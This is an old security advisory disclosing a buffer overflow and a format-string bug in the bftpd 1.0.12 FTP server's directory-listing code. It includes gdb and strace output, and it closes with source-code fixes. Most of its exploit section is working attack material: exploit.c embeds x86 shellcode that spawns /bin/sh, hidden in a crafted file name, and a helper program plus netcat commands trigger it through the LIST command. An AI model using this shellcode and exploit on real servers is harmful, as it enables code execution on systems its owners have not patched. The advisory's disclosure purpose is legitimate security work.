Subject : Potential security problem in bftpd (Buffer Overflow and format bug) Author : Christophe BAILLEUX (cb@grolier.fr) Greetings : Greetings to ASYNCHRO (asynchro@PKCREW.ORG) for his first advisory Plateforms : *nix Test version : bftpd-1.0.12 I. Introduction bftpd is a Linux FTP server with chroot and setreuid. Not all FTP commands are included. It accesses either the user's home directory or its. ftp subdirectory, and user authentication is via passwd/shadow or PAM. II. Problem The lastest version of BFTPD has potentials security problems in the fuctions "sendstrf" and "dirlist" inside the "distlir.c" file when the generated file by the output of the LIST and NLST commands is above 200 chars or holds strings form type %p%p%p%p III. Details/Demo A) Code problem bftpd-1.0.12/dirlist.c - In the function "sendstrf" 21 int sendstrf(int s, char *format, ...) { 22 va_list val; 23 char buffer[256]; 24 va_start(val, format); 25 vnprintf(buffer, format, val); // Buffer Overflow 26 va_end(val); 27 return send(s, buffer, strlen(buffer), 0); 28 } - In the function "dirlist" 60 else 61 foo = 1; 62 sendstrf(s, entry->d_name); // Format Bug 63 } B) Demo / gdb output a) Buffer overflow in the LIST command 1- demo tshaw:~/longfile$ pwd /home/cb/longfile tshaw:~/longfile$ touch `perl -e 'print "A"x213'` tshaw:~/longfile$ ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Connected to localhost. 220 bftpd 1.0.12 at 127.0.0.1 ready. Name (localhost:cb): cb 331 Password please. Password: 230 User logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd longfile 250 OK ftp> ls 200 PORT 127.0.0.1:1858 OK 150 Data connection established. drwxr-xr-x 2 1000 100 4096 Dec 8 02:53 . drwxr-xr-x 55 1000 100 4096 Dec 8 02:48 .. -rw-r--r-- 1 1000 100 0 Dec 8 02:53 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 421 Service not available, remote server has closed connection ftp> 2- gdb output tshaw:/home/cb# gdb /usr/sbin/bftpd 29751 GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... /home/cb/29751: No such file or directory. Attaching to program: /usr/sbin/bftpd, Pid 29751 Reading symbols from /lib/libcrypt.so.1...done. Loaded symbols for /lib/libcrypt.so.1 Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Reading symbols from /lib/libnss_compat.so.2...done. Loaded symbols for /lib/libnss_compat.so.2 Reading symbols from /lib/libnsl.so.1...done. Loaded symbols for /lib/libnsl.so.1 0x400e7514 in read () from /lib/libc.so.6 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) x $esp 0xbffffadc: 0x41414141 (gdb) b) Format bug in the NLST command 1- demo tshaw:~/longfile$ touch "%p%p%p%p%p%p%p%p%p%p" Connected to localhost. 220 bftpd 1.0.12 at 127.0.0.1 ready. Name (localhost:cb): cb 331 Password please. Password: 230 User logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd longfile 250 OK ftp> nlist 200 PORT 127.0.0.1:1865 OK 150 Data connection established. . .. 0xbffffd080x8049e500x804bb41(nil)(nil)0x10000000x804f4d8(nil)(nil)0x49 226 Directory list has been submitted. ftp> tshaw:~/longfile$ touch "%s%s%s%s%s%s%s" Connected to localhost. 220 bftpd 1.0.12 at 127.0.0.1 ready. Name (localhost:cb): cb 331 Password please. Password: 230 User logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd longfile 250 OK ftp> ls 200 PORT 127.0.0.1:1869 OK 150 Data connection established. drwxr-xr-x 2 1000 100 4096 Dec 8 03:00 . drwxr-xr-x 55 1000 100 4096 Dec 8 02:48 .. -rw-r--r-- 1 1000 100 0 Dec 8 03:00 %s%s%s%s%s%s%s 226 Directory list has been submitted. ftp> nlist 200 PORT 127.0.0.1:1871 OK 150 Data connection established. . .. 421 Service not available, remote server has closed connection ftp> 2- gdb output tshaw:/home/cb# gdb /usr/sbin/bftpd 29526 GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... /home/cb/29526: No such file or directory. Attaching to program: /usr/sbin/bftpd, Pid 29526 Reading symbols from /lib/libcrypt.so.1...done. Loaded symbols for /lib/libcrypt.so.1 Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Reading symbols from /lib/libnss_compat.so.2...done. Loaded symbols for /lib/libnss_compat.so.2 Reading symbols from /lib/libnsl.so.1...done. Loaded symbols for /lib/libnsl.so.1 0x400e7514 in read () from /lib/libc.so.6 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x4008d196 in vfprintf () from /lib/libc.so.6 (gdb) where #0 0x4008d196 in vfprintf () from /lib/libc.so.6 #1 0x40099f76 in vsnprintf () from /lib/libc.so.6 #2 0x804a417 in sendstrf (s=4, format=0x804f577 "%s%s%s%s%s%s") at dirlist.c:26 #3 0x804a670 in dirlist (name=0x804b64b ".", s=4, verbose=0 '\000') at dirlist.c:63 #4 0x8049e55 in do_dirlist (dirname=0xbffffd08 "", verbose=0 '\000') at commands.c:314 #5 0x8049e95 in command_nlst (dirname=0xbffffd08 "") at commands.c:324 #6 0x804a37c in parsecmd (str=0xbffffd08 "") at commands.c:482 #7 0x804ad2a in main (argc=1, argv=0xbffffe54) at main.c:129 #8 0x400602e7 in __libc_start_main () from /lib/libc.so.6 (gdb) IV. Exploit and Demo It's not possible to exploit it with a standart exploit... bftpd-1.0.12/login.c contains a piece of code using the "chroot" and setregid functions, and denying the execution of /bin/sh or another programz by a local user. 41 if(chroot(str)) { 42 fprintf(stderr, "421 Unable to change root directory.\r\n"); 43 exit(0); 44 } The remote exploit it's not possible. See the first message da asynchro :) With the following exploit, I can request bftpd (run by the user "cb") to run the /bin/sh command. -- BEGIN exploit.c -- /* Creates a filname to exploit the bug in bftpd 1.0.12 Create the file, cwd in the shell directory and nlist the file directory. Coded by korty */ #include #include #include #include #define LEN 205 int main (int argc, char **argv) { char buf[LEN + 12]; int ret = 0xbffffa80; int *p; int fp; char code[]= /* * Linux/x86 * * toupper() evasion, standard execve() /bin/sh (used eg. in various * imapd exploits). Goes through a loop adding 0x20 to the * (/bin/sh -= 0x20) string (ie. yields /bin/sh after addition). */ /* main: */ "\xeb\x29" /* jmp callz */ /* start: */ "\x5e" /* popl %esi */ "\x29\xc9" /* subl %ecx, %ecx */ "\x89\xf3" /* movl %esi, %ebx */ "\x89\x5e\x08" /* movl %ebx, 0x08(%esi) */ "\xb1\x07" /* movb $0x07, %cl */ /* loopz: */ "\x80\x03\x20" /* addb $0x20, (%ebx) */ "\x43" /* incl %ebx */ "\xe0\xfa" /* loopne loopz */ "\x29\xc0" /* subl %eax, %eax */ "\x88\x46\x07" /* movb %al, 0x07(%esi) */ "\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */ "\xb0\x0b" /* movb $0x0b, %al */ "\x87\xf3" /* xchgl %esi, %ebx */ "\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */ "\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */ "\xcd\x80" /* int $0x80 */ "\x29\xc0" /* subl %eax, %eax */ "\x40" /* incl %eax */ "\xcd\x80" /* int $0x80 */ /* callz: */ "\xe8\xd2\xff\xff\xff" /* call start */ "\x0f\x42\x49\x4e\x0f\x53\x48"; /* /bin/sh -= 0x20 */ if (argc > 1) { ret += atoi(argv[1]); fprintf(stderr, "Using ret %#010x\n", ret); } memset(buf, '\x90', LEN); memcpy(buf + LEN - strlen(code), code, strlen(code)); p = (int *) (buf + LEN); *p++ = ret; *p++ = ret; *p = 0; fp = open(buf, O_CREAT); if(fp < 0) perror("buf"); close(fp); } -- END exploit.c -- Run netcat on the port 1028 (nc -l -p 1028) and use that program -- BEGIN list.c -- #include int main() { #define USER "cb" #define PASS "PasSwoRd" #define PORT "port 127,0,0,1,4,4" // Data on the port 1028 with the addr 127.0.0.1 #define CWD "cwd longfile" #define LIST "list" printf("user %s\n", USER); sleep(1); printf("pass %s\n", PASS); sleep(1); printf("%s\n", PORT); sleep(1); printf("%s\n", CWD); sleep(1); printf("%s\n", LIST); } -- END list.c -- A) DEMO tshaw:~/longfile$ gcc -o exploit exploit.c tshaw:~/longfile$ ls exploit* exploit.c list.c tshaw:~/longfile$ ls exploit* exploit.c list.c tshaw:~/longfile$ ./exploit tshaw:~/longfile$ ls exploit* exploit.c list.c \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 \220\220\220\220\220\220\220\220\220\220\220\220\313)^)\311\211\323\211^\b\221\a\200\003\ C \300\332)\300\210F\a\211F\f\220\v\203\323\211K\b\211S\f\311\200)\300\@\311\200\310\322\333 \333\333\013BIN\013SH\200\332\333\233\200\332\333\233* tshaw:~/longfile$ tshaw:~/longfile$ gcc -o list list.c tshaw:~/longfile$ nc -l -p 1028 & [1] 29973 tshaw:~/longfile$ tshaw:~/longfile$ (./list ; cat) | nc localhost 21 220 bftpd 1.0.12 at 127.0.0.1 ready. 331 Password please. 230 User logged in. 200 PORT 127.0.0.1:1028 OK 250 OK 150 Data connection established. drwxr-xr-x 2 1000 100 4096 Dec 8 04:06 . drwxr-xr-x 55 1000 100 4096 Dec 8 04:02 .. -rw-r--r-- 1 1000 100 323 Dec 8 04:06 list.c -rwxr-xr-x 1 1000 100 11931 Dec 8 04:06 list -rw-r--r-- 1 1000 100 2178 Dec 8 03:54 exploit.c -rwxr-xr-x 1 1000 100 12861 Dec 8 03:56 exploit -r-xr--r-- 1 1000 100 0 Dec 8 03:56 ë)^)ɉ󉱀 Càú)ÀˆF‰F ° ‡óS Í€)À@Í€èÒÿÿÿBINSH€úÿ¿€úÿ¿ [1]+ Done nc -l -p 1028 tshaw:~/longfile$ B) STRACE OUTPUT tshaw:~# ps -aef |grep bftpd cb 30128 62 0 Dec04 ? 00:00:00 bftpd root 30136 30024 0 Dec04 ttyqa 00:00:00 grep bftpd tshaw:~# strace -p 30128 read(0, "\n", 4096) = 1 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 4 setsockopt(4, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 setsockopt(4, SOL_SOCKET, SO_SNDBUF, [65536], 4) = 0 bind(4, {sin_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("127.0.0.1")}}, 16) = 0 connect(4, {sin_family=AF_INET, sin_port=htons(1028), sin_addr=inet_addr("127.0.0.1")}}, 16) = 0 write(2, "150 Data connection established."..., 34) = 34 open("/dev/null", O_RDONLY|O_NONBLOCK|0x10000) = -1 ENOENT (No such file or directory) stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 open(".", O_RDONLY|O_NONBLOCK|0x10000) = 5 fstat(5, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 fcntl(5, F_SETFD, FD_CLOEXEC) = 0 brk(0x8052000) = 0x8052000 getdents(5, /* 7 entries */, 3933) = 328 stat("./.", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 send(4, "drwxr-xr-x 2 1000 100 "..., 58, 0) = 58 stat("./..", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 send(4, "drwxr-xr-x 55 1000 100 "..., 59, 0) = 59 stat("./list.c", {st_mode=S_IFREG|0644, st_size=323, ...}) = 0 send(4, "-rw-r--r-- 1 1000 100 "..., 63, 0) = 63 stat("./list", {st_mode=S_IFREG|0755, st_size=11931, ...}) = 0 send(4, "-rwxr-xr-x 1 1000 100 "..., 61, 0) = 61 stat("./exploit.c", {st_mode=S_IFREG|0644, st_size=2178, ...}) = 0 send(4, "-rw-r--r-- 1 1000 100 "..., 66, 0) = 66 stat("./exploit", {st_mode=S_IFREG|0755, st_size=12861, ...}) = 0 send(4, "-rwxr-xr-x 1 1000 100 "..., 64, 0) = 64 stat("./ ë)^)ɉ󉱀 Càú)ÀˆF‰F ° ‡óS Í€)À@Í€èÒÿÿÿBINSH€úÿ¿€úÿ¿", {st_mode=S_IFREG|S_ISUID|0544, st_size=0, ...}) = 0 send(4, "-r-xr--r-- 1 1000 100 "..., 270, 0) = 270 execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = -1 ENOENT (No such file or directory) _exit(-1073743151) = ? tshaw:~# If i disable the chroot function in login.c, the exploit works. V. Workaround A) Buffer Overflow In bftpd-1.0.11/dirlist.c Modify the line 25 vsprintf(buffer, format, val); by vsnprintf(buffer, sizeof(buffer), format, val); B) Format Bug In bftpd-1.0.11/dirlist.c Modify the line 62 sendstrf(s, entry->d_name); by sendstrf(s, "%s", entry->d_name); VI. Greetings :) Greetings to : Asynchro for your advisory :) DV for your help. NoldErisE for the translation. My english sux... :) Deda Team. kalou. Ouaou ki fait le Ouaou!@#. Clebi Clebo And hummmmmmm my mother :) Best Regards,